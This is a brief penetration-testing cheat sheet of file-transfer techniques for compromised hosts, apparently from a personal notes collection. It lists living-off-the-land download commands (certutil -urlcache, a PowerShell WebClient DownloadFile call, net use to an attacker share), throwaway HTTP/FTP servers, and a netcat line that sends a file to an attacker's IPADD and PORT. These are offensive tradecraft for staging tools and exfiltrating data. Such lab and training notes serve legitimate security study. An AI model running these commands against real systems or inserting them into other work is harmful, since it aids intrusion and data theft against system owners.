File Transfers

============================================================================================================================================

File Transfers

============================================================================================================================================

For fantastic site: downloads and uploads + more:

https://lolbas-project.github.io/#d

File transfer from target: certutil.exe -urlcache -split -f http://<ip>:<web port>/requested file> - for more direct windows transfers including scripts for auto downloading refer to transfers.txt

Useful commands for file transfers

 

python3 -m http.server

python2 -m SimpleHTTPServer

php -S 0.0.0.0:80

ruby -run -e httpd . -p 8080

python3 -m pyftpdlib -p 21

 

** can also use impacket smb server

 

Transfer files:

Windows

 

Certutl

C:\>certutil -urlcache -f http://IPADD/name.txt name.txt

 

NetUse:

C:\>net use * \\IPADD\Share

 

Powershell:

C:\>powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://IPADD/name.txt', 'name.txt')

 

 

Linux

wget (and use -O name.txt to output)

curl (-o name.txt to output)

 

SCP - look at scp section in cheatsheets

 

Netcat

output file and input file

> name.txt

 

nc IPADD PORT < name.txt